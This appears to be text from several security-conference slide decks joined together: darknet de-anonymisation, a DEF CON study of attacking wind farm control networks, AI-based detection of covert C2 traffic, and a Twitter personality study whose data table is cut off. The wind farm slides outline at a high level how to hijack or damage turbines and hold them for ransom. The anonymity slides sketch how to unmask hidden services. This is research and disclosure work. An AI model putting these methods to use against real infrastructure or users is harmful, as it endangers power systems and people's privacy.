colluding peers  Generally takes a powerful adversary  Hard to defeat in “low latency” networks Irongeek.com Irongeek.com Irongeek.com 5MB 8MB Client Client Client Client Irongeek.com Client Client Client I could just watch the timings. Pulse the data flows myself. Or even just change the load on the path. DoS outside host to affect traffic. Irongeek.com  More routers  More cover traffic (smaller needle in a larger haystack)  Entry Guards for first hop  One way tunnels  Short lived tunnels may help, ends of tunnels act as rendezvous points  Better peer profiling  Signing of the data  Fixed speeds  Padding and Chaff  Non-trivial delays and Batching Irongeek.com Irongeek.com  Could be as simple as knowing who is up when a hidden service can be accessed  Techniques can be used to reduce the search set  Application flaws and information leaks can narrow the anonymity set  Harvesting attacks Irongeek.com Tor Hidden server or I2P eepSite Is the hidden service up? Ping Ping Is this suspect node up? Irongeek.com 1. What server software are you running an eepSite on? 2. Harvest as many peer IPs as I can. 3. Is there a web service on the public facing IP using the same daemon? 4. Does it respond to the same Vhost request? 5. If so, yippy! Found you! eepSite Host Request/Response Request/Response Irongeek.com  More nodes  Give less data that could be used to reduce the anonymity set  Make harvesting/scrapping attacks harder  Checkout “De-anonymizing I2P” paper and talk I’ll link to later Irongeek.com  Selected Papers in Anonymity http://www.freehaven.net/anonbib/  I2P’s Threat Model Page http://www.i2p2.de/how_threatmodel.html  General Darknets Talk http://www.irongeek.com/i.php?page=videos/aide-winter- 2011#Cipherspace/Darknets:_anonymizing_private_networks  De-anonymizing I2P http://www.irongeek.com/i.php?page=security/darknets-i2p-identifying-hidden-servers http://www.irongeek.com/i.php?page=videos/identifying-the-true-ip-network-identity-of- i2p-service-hosts-talk-adrian-crenshaw-blackhat-dc-2011 Irongeek.com  Conference organizers for having me  Tenacity for helping get me to Defcon  By buddies from Derbycon and the ISDPodcast  Open Icon Library for some of my images http://openiconlibrary.sourceforge.net Irongeek.com  DerbyCon 2011, Louisville Ky Sept 30 - Oct 2 http://derbycon.com  Louisville Infosec http://www.louisvilleinfosec.com  Other Cons: http://skydogcon.com http://dojocon.org http://hack3rcon.org http://phreaknic.info http://notacon.org http://outerz0ne.org Irongeek.com 42
pdf
Breaking Wind: Adventures in Hacking Wind Farm Control Networks Jason Staggs, Ph.D. University of Tulsa Tulsa, Oklahoma whoami • Security researcher – Focused on control systems and network security • PhD in Computer Science from The University of Tulsa – Cellular networks, security engineering and forensics • Presented “How to Hack your Mini Cooper” – @ DEFCON 21 – CAN bus attacks and trickery • I enjoy trying to break things... – Sometimes I try to fix them – Sometimes people don’t listen 2 **Disclaimer** • All affected parties have been notified of identified security issues that are about to be presented • I am NOT a power grid engineer! • Don’t try this at home (without permission)… 3 Why Hack a Wind Farm? • Wind energy – Becoming the predominant source of renewable energy – 4.7% of electricity generated in the United States in 2015 – Contribution expected to climb to 20% by 2030 • Increased reliance on wind energy draws increased attention to attackers of all shapes and sizes • Modern wind farms are operated by computers and networks • Why should we care? – https://www.youtube.com/watch?v=wfzgIxMEo8g – Mechanical failures can be influenced by targeting insecure control networks! • But most importantly… 4 To Prevent Attackers from Turning these Peaceful Symbiotic Systems… 5 Into Targets of Ransomware… or 6 Give me $$$$$ Into Massive Burning Wastelands… 7 What is a Wind Farm? • Power plant that converts wind into electricity • Wind turbines – Variable power source that generates energy from wind • Substations – Collects the energy produced by wind turbines and feeds it into the power grid • SCADA systems/networks – Controls the wind turbines and substations – Mix of ICS and IT • IEC-61400-* specifications – Defines design, operations and communications requirements 8 Wind Farm Case Study • Exclusive access to five U.S. based wind farms – 1000+ wind turbines – Multiple equipment models from five major vendors • Research spanning nearly 2 years • Assessed control systems/networks, IT systems and physical security for vulnerabilities • Gained valuable insights into how vendors actually implement and configure wind turbine and substation control systems 9 Red Teaming a Wind Farm Red Teaming at Over 300 Feet… Communications Infrastructure 12 Wind Turbine Anatomy 13 Nacelle Turbine Wind Farm Operations Control Network 14 Overview of Vulnerabilities • No authentication or encryption of control messages • Use of insecure remote management services – Telnet, FTP, SNMP, etc. • Easy to guess or vendor default passwords • No network segmentation between wind turbines • Extremely weak physical security • Exactly what we would expect from an ICS • And now the fun begins… IEC-61400-25 • Defines uniform communications requirements for wind power plants • Support for a handful of protocols – Web services – DNP3 – OPC XML-DA – IEC 60870-5-104 – IEC 61850-8-1 MMS 16 IEC-61400-25 17 What is OPC? • First released in 1996 with the goal of abstracting PLC specific protocols into a standardized and generic interface – (OPC) Object linking and embedding for Process Control – Different variations have been developed over the years • OPC UA, OPC XML, OPC XML-DA, etc... • Used to exchange real-time data, monitoring of alarms/events, and… set/update control values • Client/server architecture – Client = Issues the OPC read/write request message – Server = Translates request into appropriate field bus command 18 OPC XML-DA Specification • Uses SOAP (HTTP, XML) to exchange data • OPC XML-DA message services – Status – Read – Write – Subscription – Browse – … – Get Properties 19 Vendor Implementation != Specification • OPC XML-DA messages are sent in the clear by default! • Technical specification assumes this… • Sometimes people don’t follow instructions • OPC XML-DA spec. overly reliant on the vendor to tack on additional encryption to secure protocol (e.g., SSL/TLS) • Fail… 20 OPC-XML-DA Specification – “security” 21 OPC-XML-DA Specification – “disable write” 22 Example OPC-XML-DA Read Request Object Items • Wind speed • Break status • Rotor pitch angle • Power production • Rotor RPM • Nacelle direction • Ambient temperature inside nacelle • Operating status of CANopen controllers • Misc. temperatures – Oil, rotor, generator 23 Example OPC-XML-DA Write Request Commands • Specifics will vary from vendor to vendor… • Wind turbine operating state (on/off) • Turbine emergency shutdown (non-graceful) • Change maximum power generation output (0…x) • Change nacelle pitch or yaw 24 Wind Farm Control Network Access Vectors • Access can be achieved in a number of ways – Physical access to remote turbine/substation in the middle of a field • Physical security mechanisms can be easily defeated with lock picks or bolt cutters – Compromised vendor network – Compromised supply chain – Etc. • Attach rogue device to ICS switch inside the turbine – Fiber/Ethernet – Raspberry Pi with cellular or Wi-Fi module for remote out-of-band access – Boom. You’re in. 25 Building Blocks for Wind Farm Security Assessment Tools • Developed wind farm network security assessment tools – Specifically, to attack IEC-61400-25 protocols and network services • Command-and-control protocol reverse engineering – Tcpdump/Wireshark – Static analysis – Scapy – Dynamic analysis • Raspberry Pi 3 (Linux) – Python 2.7 – Bash – Scapy – for packet manipulation/fabrication – Nmap – for identifying remote OPC servers (running inside of wind turbines) – Iptables – for dropping/forwarding packets • Wind* suite of tools 26 Windshark 27 Windpoison 28 Wind Farm Attacks! • Hijack control of wind turbine(s) – Scan for OPC servers – Fabricate/replay OPC XML-DA write messages using Windshark • Damage wind turbine(s) – Scan for OPC servers – Fabricate/replay OPC XML-DA write message using Windshark • In a systematic manner (e.g., wear out the braking system, motors, rotors, etc.) – Goal: Increase failure rate of key mechanical components (e.g., gearbox) • Disrupt and/or damage wind farm(s) – ARP cache poison all Ethernet nodes on the broadcast domain – Intercept, block, modify and fabricate OPC messages – Fabricate OPC responses to OPC clients (HMIs) in order to fool SCADA operators 29 Windworm • Targeting programmable automation controllers (PACs) – Cross-compile malware for Embedded platforms (e.g., Windows, Linux, RTOS) • Malware propagation technique – Malware upload -> FTP – Malware execution -> Telnet • Leverage root user accounts with default/weak passwords • Modify critical process control variables – Modify/overwrite process values, set points, etc. – Initial values usually stored and loaded from a vendor defined configuration file (CANopen Electronic Data Sheet) in the automation controller • Repeat… pwn wind farm 30 CANopen • Commonly used in industrial automation control systems • Every CANopen node contains a remotely accessible data structure that is used for configuration and communication (object dictionary) – 16-bit index, 8-bit subindex – Contains wind turbine operational data and operating parameters • Electronic Data Sheet maps out the entirety of a CANopen node’s object dictionary – Index, Object name, Data type, R/W permissions, PDO mapping • CANopen protocols – Process Data Object (PDO): Used for sending real-time data between nodes – Service Data Object (SDO): Used for setting and reading values from the object dictionary of a remote device 31 Windransom Scenario • Goal: Paralyze wind farm operations • Unless ransom is paid – $$$BTC$$$ • How would this work?? 32 How to Ransomware a Wind Farm for Bitcoin? 33 What is the Potential Impact (lost revenue) Due to Wind Farm Downtime? • What is the financial cost to the wind farm energy company? – Assume 100% dependence on wind energy (no other renewable sources) – Assume a 35% capacity factor (worst case) • 250 MW × 365 days × 24 hours × 35% = 766.5 GWh = 766,500 MWh = 766,500,000 kWh • Ransomware infected wind farm example – 250 MW (max capacity) – 167 x 1.5 MW wind turbines – @ $0.12 cents/kWh – @ $120/MWh 34 Downtime (hours) Cumulative cost of wind farm downtime 1 ~ $10,500 (35% capacity) - $30,000 (max capacity) 8 ~ $84,000 - $240,000 24 (one day) ~ $252,000 - $720,000 48 (two days) ~ $504,000 - $1,440,000 72 (three days) ~ $756,000 - $2,160,000 168 (one week) ~ $1,764,000 - $5,040,000 336 (two weeks) ~ $3,528,000 - $10,080,000 672 (one month) ~ $7,056,000 - $20,160,000 2016 (three months) ~ $21,168,000 - $60,480,000 Wind Farm Malware Outbreak Recovery? • How to recover from a large-scale attack? – Different perspectives on this depending on who you are (e.g., operator and vendor) – Reimage systems (timely)? – Replace hardware (costly and timely)? • How do you know the infection has been fully remediated? – How confident are you that it won’t reappear? • In the mean time, the operator is losing out on the ability to produce energy – Which means they’re loosing $$$ 35 Key Takeaways and Conclusions • Wind farm control networks are extremely susceptible to attack – This is just the tip of the iceberg • Be proactive – Don’t wait on vendors to provide “security” – Verify vendor claims on “security” – Retrofit security as needed • Wind turbine network isolation – Inline firewalls at each tower – Bump-in-the-wire with encrypted VPN tunnels • A call-to-arms for securing wind farm control networks! 36 Questions? • [email protected] 37
pdf
利用AI检测隐蔽的C2通信 AI for Detecting Covert C2 Communication 背景 0 1 C2技术发展 明文传输 加密混淆 公共协议(如TLS) 正常服务(如Twitter) 行业统计 2020年,加密的C2通信已达70%。 ——Cisco 2020年Q1,67%的加密C2采用的TLS协议 ——WatchGuard 防的策略 0 2 检测手段 局限 签名特征 难以应对 加密载荷 统计规则 不精确 机器学习模型 鲁棒性低 过拟合 最具 前景 应用AI的难点 0 3 C2样本 1. 辨识度低 2. 数据量少 3. 特征维度少 4. 随机性强 Cisco的成功经验 0 4 TLS协议 TLS握手特征 Client Server Client Hello SSL/TLS version, supported ciphers, etc. Server Hello Cipher Suite(RSA, TLS1.0, etc.) Server Certificate Server Key Exchange(public key) [Client Certificate Request] Server Hello Done Client Key Exchange [Client Certificate] Certificate Verify 明文的密钥协商 深度协议伪装的C2 问题分析 0 5 差 异 网络数据包 网络会话流 通信信道 数据包载荷 数据包出现的顺序 反映出代码执行的流程 ? C2通信 正常通信 观察对象 分析思路 三点假设: Internet用户访问正常服务器和C&C服务器的差异 1.应用数据载荷主要传输的方向上的差异 2.服务器被有效访问频次的差异 3.用户数量的差异 0 6 从服务端 视角考虑 解决思路 0 7 以通信信道为观察对象 TLS通信信道:{目的IP, 目的端口} 按通信信道聚合TLS流 验证假设 0 8 图 1 正负样本上/下行流量统计图 图 2 通信频次排名前100的对比图 图 3 连接服务器数排名前100的对比图 数据载荷传输方向上的差异 通信频次上的差异 用户数的差异 以通信信道为观察对象的统计对比 基于粒度计算的特征表示方法 0 9 图 1?统计值映射过程图 图 2 不同区间下的正负样本比例图 解决统计特征数值差异大的问题 基于粒度计算的特征表示方法 1 0 解决统计特征数值差异大的问题 图 1 统计值映射过程图 图 3 其他特征字段下的正负样本比例图 TLS信道特征工程 1 1 TLS流在信道上的分布特征设计 特征名 描述 特征数量 下行流载荷 以2,3,5,10,20,50,100,200,500,5000kB划分区间粒度 100 上行流载荷 以2,3,5,10,20,50,100,200,500,5000kB划分区间粒度 100 下/上行流量比 以2,3,5,10,20,50,100,200,500,5000kB划分区间粒度 100 连接频次 以2,3,5,10,20,50,100,200,500,5000划分区间粒度 100 连接设备数 以2,3,5,10,20,50,100,200,500,5000划分区间粒度 100 TLS信道特征工程 1 2 Web服务端兼容性 TLS握手 字段差异 Client Server Client Hello SSL/TLS version, supported ciphers, etc. Server Hello Cipher Suite(RSA, TLS1.0, etc.) Server Certificate Server Key Exchange(public key) [Client Certificate Request] Server Hello Done Client Key Exchange [Client Certificate] Certificate Verify 明文的密钥协商 握手字段 不一致 TLS信道特征工程 1 3 计算样本一致性比例: 𝐶𝑜𝑛𝑠𝑖𝑠𝑡𝑒𝑛𝑐𝑦(𝐹) =. ∑ 012𝐶0(𝐹) 013 𝑁 TLS握手字段一致性统计 字段名称 正常信道 C2信道 客户端Hello长度 26.43% 57.63% 客户端HelloSession ID长度 41.11% 68.85% 加密算法数量 16.53% 63.70% 客户端Extension数量 27.68% 79.41% 客户端Session ticket长度 41.11% 68.86% 客户端交换密钥长度 28.86% 79.24% 客户端应用层协议协商长度 52.53% 89.73% 客户端签名算法个数 51.18% 86.44% 客户端签名算法 48.07% 86.39% 一致性 正常应用 恶意软件 TLS信道特征工程 1 4 基础信息统计特征 TLS通信信道基础特征 特征描述 描述 上下行信道 特征 上行总载荷大小 下行总载荷大小 上下行载荷比 上下行流特 征 上行流最小长度 上行流最大长度 上行流平均长度 上行流长度标准差 下行流最小长度 下行流最大长度 下行流平均长度 下行流长度标准差 流的时间间 隔特征 流之间的最大时间间隔 流之间的最小时间间隔 流之间的平均时间间隔 流之间的时间间隔标准差 AI算法中的特征选择 1 5 特征子集 过滤无效 特征 选择更优 特征子集 作用 信息增益>0 遗传算法 特征选择 原始特征集 实验:样本收集 1 6 良性样本:来自于内网样本 恶意样本来源: 1)Malware Traffic (MT) 2)Stratosphere IPS (SIPS) 3)Canadian Institute for Cybersecurity (CIC) 恶意TLS信道样本数据集 样本来源 TLS流 TLS通信信道 MT 37210 8303 SIPS 40100 2242 CIC 582884 5679 l MT和SIPS:普通的恶意TLS流样本 l CIC:深度协议伪装的恶意TLS流样本 实验:三类通信信道特征效果对比 1 7 目标:评估提出的三类信道特征的有效性 Ø 分布特征(Distribution feature, DF) Ø 一致性特征(Consistency feature, CF) Ø 统计特征(Statistic feature, SF) 特征集 Precision Recall F1 score DF 79.78% 67.93% 73.29% CF 89.59% 89.75% 88.63% SF 87.34% 87.77% 88.51% BF+HF+SF 92.57% 88.10% 90.23% 迭代次数:131 特征数量:864 304 实验:评估通信信道中流的数量对检测模型的影响 1 8 1个通信信道:9条TLS流 20个 通信信道 结论 实验:与其他恶意TLS通信检测方法的对比 1 9 实验对比 数据集 Cisco方法 非监督方法 本方法 检测率 误报率 检测率 误报率 检测率 误报率 MT 92.42% 5.56% 81.86% 20.20% 90.24% 8.42% SIPS 96.00% 4.10% 84.43% 11.55% 92.29% 9.71% CIC 84.05% 17.03% 71.23% 31.33% 91.62% 1.33% 本方法在深度协议伪装的样本集上表现得更好 基于HTTP协议的C2检测 2 0 目标:基于HTTP协议 验证本方法的普适性 HTTP信道中: u 一致性特征利用HTTP头的请求字段 u 统计特征与TLS通信信道的一致 u 分布特征与TLS通信信道的一致 HTTP请求头字段一致性特征设计 编号 请求头字段 1 Accept:能够接受的回应内容类型 2 Accept-Charset:能够接受的字符集 3 Accept-Encoding:能够接受的编码方式列表 4 Accept-Languate:能够接受的回应内容的自然语言列表 5 Authorization:用于超文本传输协议的认证信息 6 Connection:该浏览器想要优先使用的连接类型 7 Content-Length:以八位字节数组表示的请求体的长度 8 Content-Type:请求体和多媒体类型 9 User-Agent:浏览器的浏览器身份标识字符串 10 Expect:表明客户端要求服务器做出特定的行为 实验:HTTP流量样本收集 2 1 恶意HTTP信道样本数据集 良性样本:来自于内网样本 恶意样本来源: 1)Malware Traffic (MT) 2)Stratosphere IPS (SIPS) 3)Canadian Institute for Cybersecurity (CIC) 样本来源 HTTP流 HTTP信道 MT 41515 14352 CIC 35528 2906 SIPS 189653 2695 实验:与其他恶意HTTP通信检测方法的对比 2 2 测试样本: 1000个良性通信信道,32657条良性HTTP流 1000个恶意通信信道, 28332条恶意HTTP流 训练算法: 2019,?Niu等人: XGBoost算法 2017, Ogawa等人:k-Means?+?SVM 本文:随机森林 经验总结 2 3 方法总结 经验分享 样本 > 特征 算法 > 假设 70% 20% 10% -> 验证 -> 特征 设计 -> 建模 未来研究方向 2 4 单流特征 其它通信协议 网络日志 主机日志 信道特征 1 2 FTP SSH 恶意代码 3 M A N O E U V R E 感谢观看! KCon 汇聚黑客的智慧
pdf
Raw Linguist Analysis and Word Count Output for Big Five and Dark Triad traits Talk Title : Can Twitter help expose psychopath killer’s traits Presenters: Chris Sumner & Randall Wald Abstract: Recent research has identified links between Psychopaths and the language they use (Hancock et al 2011), with media reports suggesting that such knowledge could be applied to social networks in order help Law Enforcement Agencies expose "Psychopath killers' traits". This is the first public study to research Psychopathy in the context of social media. This study explored the extent to which it is possible to determine Psychopathy, and other personality traits based on Twitter usage. This was performed by comparing self-assessment 'Dark Triad' (Psychopathy, Machiavellianism, Narcissism) and 'Big Five' (Openness, Conscientiousness, Extraversion, Agreeableness, Neuroticism) personality traits with the Twitter information, usage and language of 2927 participants. Results show that there are a number of statistically significant correlations between an individual's darker personality traits and their Twitter activity. We also identified links between users' attitudes to privacy, their personality traits and their twitter use. We will present the improvement gains possible through the use of machine learning for personality prediction and share the models and techniques employed. In addition to presenting our results, this talk will provide an introduction into identifying psychopathic traits using the Hare Psychopathy Checklist (PCL-R), present the technical approaches to collecting, storing and analyzing Twitter data using Open Source technologies and discuss the current ethical, privacy and human rights concerns surrounding social media analysis, vetting and labeling. We will conclude with two proof of concept works, the first using the visualization tool Maltego to explore how visual analysis could be used to identify potential troublemakers at events such a far right demonstrations; the second to look at how personality traits influence response and interaction with a benign Twitter Bot. The results highlight that in certain contexts, personality prediction through social media can perform with a reasonably high degree of accuracy. Biographies: Chris Sumner is a contributor in the emerging discipline of Social Media Behavioral Residue research where he combines his interests in Psychology, Social Networks, Data Mining and Visual Analytics. He has previously spoken about these topics at BlackHat and DEF CON and is scheduled to speak at the European Conference on Personality in July 2012 with a team of academic personality researchers. Chris has been directly involved in Corporate Information Security at Hewlett-Packard since 1999 and is currently focused on Security in the Development Lifecycle. Outside of work and together with a small group of likeminded individuals, he co-founded the not-for-profit Online Privacy Foundation to conduct topical research and raise security awareness at a community level. Twitter: @TheSuggmeister https://www.facebook.com/onlineprivacyfoundation http://www.onlineprivacyfoundation.org/ Randall Wald is a researcher studying data mining and machine learning at Florida Atlantic University. Following his BS in Biology from the California Institute of Technology, Randall chose to shift his focus to computer science, applying his domain knowledge towards bioinformatics and building models to predict disease. He also studies machine learning for other domains, including machine condition monitoring, software engineering, and social networking. http://www.ceecs.fau.edu/directory/randallwald Raw Linguist Analysis and Word Count Output for Big Five and Dark Triad traits All Orig Reply RT >10 >40 All Orig Reply RT >10 >40 All Orig Reply RT >10 >40 All Orig Reply RT >10 >40 All Orig Reply RT >10 >40 All Orig Reply RT >10 >40 All Orig Reply RT >10 >40 All Orig Reply RT >10 >40 WC 0.067 0.074 0.037 0.056 0.034 0.053 -0.046 -0.047 -0.059 -0.042 -0.063 -0.081 0.041 0.021 0.058 0.033 0.052 0.057 -0.031 -0.048 -0.033 0.007 0.013 0.099 -0.055 -0.062 0.061 0.045 0.084 0.026 0.050 0.055 0.017 0.045 0.030 0.039 -0.020 0.004 -0.028 -0.048 -0.011 -0.066 0.020 0.034 0.023 0.005 0.019 0.002 WPS -0.020 -0.019 -0.068 0.010 -0.038 -0.029 0.049 0.067 0.009 0.016 0.086 0.062 0.075 0.069 0.059 0.066 0.044 0.043 0.026 0.038 0.015 -0.020 0.009 0.053 0.041 0.027 -0.013 -0.042 -0.057 -0.020 0.019 0.013 -0.016 0.018 0.006 -0.005 -0.008 -0.015 0.049 0.004 0.023 0.033 0.033 0.012 0.074 0.035 0.036 0.015 Sixltr 0.035 0.010 0.049 0.047 0.065 0.038 0.042 0.067 -0.017 0.039 0.043 0.063 0.042 0.045 0.008 0.014 0.073 0.098 0.017 0.024 -0.039 -0.009 0.028 0.080 0.079 0.079 -0.055 -0.049 -0.116 -0.133 0.047 0.036 0.056 0.036 0.071 0.043 -0.078 -0.083 -0.025 -0.068 -0.087 -0.090 -0.047 -0.062 0.027 -0.019 -0.023 -0.077 Dic -0.073 -0.079 -0.061 -0.044 -0.049 -0.112 -0.051 -0.076 0.002 -0.051 -0.060 -0.056 -0.031 -0.027 -0.068 0.004 -0.059 -0.098 -0.007 -0.012 0.043 0.024 -0.003 -0.072 -0.113 -0.112 0.084 0.099 0.134 0.205 -0.088 -0.068 -0.103 -0.007 -0.093 -0.161 0.001 0.013 -0.051 -0.018 0.005 0.030 -0.050 -0.028 -0.110 -0.063 -0.065 -0.087 funct -0.076 -0.063 -0.066 -0.060 -0.062 -0.114 -0.094 -0.110 -0.058 -0.078 -0.093 -0.082 -0.046 -0.033 -0.088 -0.030 -0.073 -0.106 -0.033 -0.032 0.003 -0.001 -0.018 -0.092 -0.123 -0.117 0.095 0.107 0.129 0.189 -0.093 -0.068 -0.099 -0.014 -0.100 -0.157 0.021 0.032 -0.009 0.010 0.015 0.044 -0.033 -0.015 -0.072 -0.040 -0.059 -0.078 pronoun -0.027 -0.016 -0.025 -0.018 -0.019 -0.074 -0.100 -0.124 -0.065 -0.070 -0.110 -0.089 -0.004 -0.019 -0.013 -0.002 -0.013 -0.037 -0.003 -0.005 0.028 0.017 0.012 -0.044 -0.142 -0.142 0.131 0.105 0.164 0.193 -0.043 -0.019 -0.030 -0.002 -0.057 -0.081 0.016 0.032 -0.021 0.023 0.023 0.057 -0.023 -0.012 -0.058 -0.025 -0.027 -0.019 ppron -0.016 -0.008 -0.014 -0.004 -0.011 -0.056 -0.092 -0.117 -0.041 -0.068 -0.103 -0.079 0.022 0.001 0.026 0.021 0.020 -0.012 0.013 0.009 0.064 0.015 0.038 -0.012 -0.145 -0.153 0.130 0.106 0.169 0.183 -0.021 -0.008 -0.014 0.021 -0.049 -0.069 0.021 0.033 -0.030 0.024 0.008 0.057 -0.017 -0.011 -0.066 0.002 -0.033 -0.014 i -0.011 -0.003 0.005 -0.004 -0.021 -0.042 -0.116 -0.132 -0.071 -0.083 -0.114 -0.084 -0.028 -0.044 -0.014 -0.004 -0.029 -0.063 -0.023 -0.017 0.039 -0.013 0.013 -0.038 -0.171 -0.172 0.151 0.091 0.203 0.224 -0.017 -0.008 -0.003 0.038 -0.024 -0.056 0.050 0.056 0.011 0.041 0.057 0.106 -0.001 0.005 -0.048 0.008 -0.001 0.029 we -0.006 0.003 0.008 0.037 -0.012 -0.016 0.052 0.026 0.049 0.030 0.034 0.037 0.063 0.059 0.063 0.013 0.034 -0.006 0.068 0.018 0.041 0.036 0.059 0.095 0.044 0.045 -0.034 -0.013 -0.069 -0.038 0.036 0.053 0.022 -0.005 -0.018 -0.030 -0.070 -0.038 -0.060 -0.053 -0.127 -0.091 -0.071 -0.037 -0.082 -0.032 -0.109 -0.104 you -0.005 -0.011 0.003 0.010 0.003 -0.013 -0.020 -0.044 0.007 -0.011 -0.039 -0.036 0.097 0.074 0.058 0.015 0.103 0.132 0.075 0.049 0.051 0.057 0.081 0.029 -0.046 -0.053 0.034 0.079 0.054 0.049 0.017 0.037 -0.002 0.015 0.005 0.046 -0.022 0.001 -0.054 0.009 -0.030 0.019 -0.039 -0.029 -0.040 0.000 -0.043 0.014 shehe -0.040 -0.005 -0.032 -0.035 -0.029 -0.072 -0.063 -0.070 -0.021 -0.057 -0.065 -0.041 0.030 0.024 0.017 0.039 0.030 -0.056 0.034 0.041 0.042 0.007 0.038 0.054 -0.053 -0.060 0.028 0.022 0.038 0.008 -0.019 -0.009 -0.002 0.007 -0.044 -0.050 -0.004 -0.025 -0.005 0.032 -0.017 -0.038 -0.005 -0.009 -0.026 0.020 -0.012 -0.048 they -0.027 0.008 -0.044 -0.015 -0.065 -0.083 -0.068 -0.074 -0.033 -0.016 -0.022 -0.031 -0.022 0.003 -0.053 -0.006 -0.031 -0.099 -0.038 -0.023 -0.069 -0.031 -0.018 -0.006 -0.034 -0.004 0.021 0.056 -0.007 0.039 -0.047 -0.023 -0.093 0.004 -0.084 -0.128 0.025 0.005 0.028 0.020 -0.012 -0.028 0.012 0.015 0.015 -0.005 0.021 -0.012 ipron -0.051 -0.028 -0.035 -0.025 -0.039 -0.107 -0.099 -0.103 -0.059 -0.048 -0.104 -0.068 -0.060 -0.053 -0.057 -0.055 -0.088 -0.099 -0.035 -0.036 -0.043 0.011 -0.017 -0.092 -0.115 -0.086 0.090 0.082 0.116 0.134 -0.077 -0.039 -0.059 -0.034 -0.071 -0.125 0.008 0.022 -0.015 0.020 0.017 0.045 -0.033 -0.016 -0.037 -0.043 -0.033 -0.034 article -0.015 -0.015 0.019 -0.041 0.001 -0.048 -0.049 -0.035 0.010 -0.049 -0.040 -0.041 -0.069 -0.062 -0.045 -0.023 -0.060 -0.047 -0.041 -0.032 -0.037 -0.012 -0.030 -0.053 0.033 0.034 -0.046 0.040 -0.010 0.026 -0.035 -0.040 -0.037 -0.010 -0.020 -0.059 0.009 -0.009 0.005 0.020 0.010 0.014 0.005 0.002 -0.007 -0.026 -0.011 -0.043 verb -0.083 -0.098 -0.066 -0.050 -0.084 -0.141 -0.071 -0.083 -0.005 -0.065 -0.070 -0.075 -0.013 -0.032 -0.021 0.003 -0.031 -0.082 0.002 -0.014 0.052 0.012 0.011 -0.059 -0.132 -0.103 0.102 0.096 0.151 0.192 -0.084 -0.077 -0.076 0.014 -0.099 -0.154 0.014 0.060 -0.051 0.010 0.020 0.024 -0.028 0.007 -0.111 -0.020 -0.057 -0.073 auxverb -0.074 -0.065 -0.075 -0.039 -0.074 -0.141 -0.098 -0.112 -0.050 -0.080 -0.094 -0.098 -0.021 -0.031 -0.031 -0.015 -0.047 -0.081 -0.021 -0.021 0.021 -0.009 -0.013 -0.069 -0.131 -0.120 0.095 0.096 0.130 0.205 -0.078 -0.067 -0.054 0.019 -0.099 -0.178 0.025 0.048 -0.021 0.013 0.020 0.017 -0.018 -0.005 -0.064 -0.013 -0.043 -0.080 past -0.066 -0.046 -0.067 -0.022 -0.038 -0.075 -0.051 -0.070 -0.005 -0.061 -0.066 -0.077 0.001 -0.016 0.003 0.003 -0.014 -0.048 0.000 0.016 0.016 -0.030 0.014 -0.051 -0.074 -0.070 0.077 0.059 0.073 0.112 -0.069 -0.066 -0.061 0.013 -0.067 -0.075 -0.003 -0.015 -0.037 0.025 0.009 -0.015 -0.040 -0.031 -0.095 -0.002 -0.062 -0.052 present -0.061 -0.061 -0.020 -0.045 -0.059 -0.124 -0.071 -0.091 -0.010 -0.045 -0.068 -0.064 -0.002 -0.013 -0.017 0.009 -0.015 -0.076 0.002 -0.016 0.051 0.034 0.010 -0.045 -0.140 -0.138 0.104 0.085 0.158 0.192 -0.068 -0.044 -0.054 -0.005 -0.073 -0.145 0.017 0.051 -0.058 0.011 0.012 0.021 -0.024 0.009 -0.086 -0.026 -0.049 -0.077 future -0.061 -0.048 -0.026 0.016 -0.023 -0.064 -0.034 -0.069 0.024 -0.016 -0.058 -0.012 0.005 -0.016 -0.006 -0.009 -0.002 -0.073 -0.007 0.013 0.027 -0.011 0.028 -0.026 -0.031 -0.029 0.007 0.056 0.043 0.077 -0.044 -0.042 -0.005 0.028 -0.017 -0.102 0.014 0.012 0.013 0.006 -0.012 0.028 -0.016 -0.017 -0.014 -0.014 -0.036 -0.096 adverb -0.077 -0.079 -0.019 -0.044 -0.063 -0.121 -0.071 -0.088 -0.040 -0.057 -0.102 -0.094 -0.034 -0.037 -0.061 -0.041 -0.084 -0.126 -0.022 -0.023 0.048 -0.015 -0.019 -0.048 -0.119 -0.101 0.100 0.127 0.143 0.168 -0.088 -0.073 -0.098 -0.009 -0.104 -0.163 0.026 0.047 -0.032 0.003 0.041 0.055 -0.035 -0.014 -0.100 -0.026 -0.058 -0.081 preps -0.059 -0.057 -0.025 -0.053 -0.056 -0.039 0.062 0.054 0.051 0.041 0.053 0.024 -0.024 -0.007 -0.014 -0.004 -0.040 -0.078 0.021 0.025 0.018 0.013 0.005 0.007 0.009 -0.010 -0.021 -0.003 0.018 0.046 -0.065 -0.068 -0.048 -0.062 -0.068 -0.132 -0.030 -0.045 -0.010 -0.031 -0.067 -0.080 -0.086 -0.095 -0.072 -0.069 -0.104 -0.159 conj -0.070 -0.056 -0.059 -0.056 -0.052 -0.118 -0.085 -0.101 -0.037 -0.065 -0.072 -0.101 -0.056 -0.053 -0.069 -0.042 -0.063 -0.113 -0.014 -0.013 -0.011 0.004 -0.026 -0.072 -0.109 -0.104 0.071 0.102 0.131 0.154 -0.057 -0.041 -0.059 -0.003 -0.055 -0.140 0.031 0.028 0.023 0.026 0.050 0.092 -0.030 -0.020 -0.052 -0.036 -0.034 -0.043 negate -0.080 -0.053 -0.073 -0.011 -0.115 -0.154 -0.068 -0.097 -0.002 -0.036 -0.073 -0.076 -0.034 -0.036 -0.050 -0.049 -0.068 -0.105 -0.069 -0.055 -0.045 -0.016 -0.067 -0.142 -0.124 -0.137 0.070 0.095 0.128 0.156 -0.073 -0.067 -0.067 -0.009 -0.100 -0.126 0.068 0.065 0.049 0.050 0.045 0.012 0.034 0.022 0.025 -0.001 -0.013 -0.015 quant -0.042 -0.038 -0.018 0.002 -0.012 -0.003 -0.064 -0.062 -0.025 -0.025 -0.033 -0.052 -0.045 -0.034 -0.066 -0.043 -0.071 -0.046 -0.032 -0.052 0.019 0.019 -0.014 -0.036 -0.085 -0.071 0.024 0.062 0.044 0.117 -0.056 -0.059 -0.073 -0.004 -0.075 -0.116 0.010 0.012 -0.031 -0.002 0.007 -0.017 -0.012 -0.004 -0.024 -0.022 -0.059 -0.090 number -0.043 -0.008 -0.061 -0.016 -0.069 -0.033 0.082 -0.021 0.019 0.047 0.086 0.079 0.038 -0.055 0.056 -0.018 0.038 0.025 -0.046 -0.038 -0.056 -0.012 -0.058 -0.038 0.117 -0.006 -0.022 -0.092 -0.079 -0.060 0.036 -0.016 0.028 -0.033 0.013 0.055 0.064 0.035 0.072 0.031 0.054 0.090 0.030 -0.012 0.043 0.035 0.024 0.069 swear -0.028 -0.018 -0.011 -0.007 -0.025 -0.048 -0.171 -0.160 -0.102 -0.063 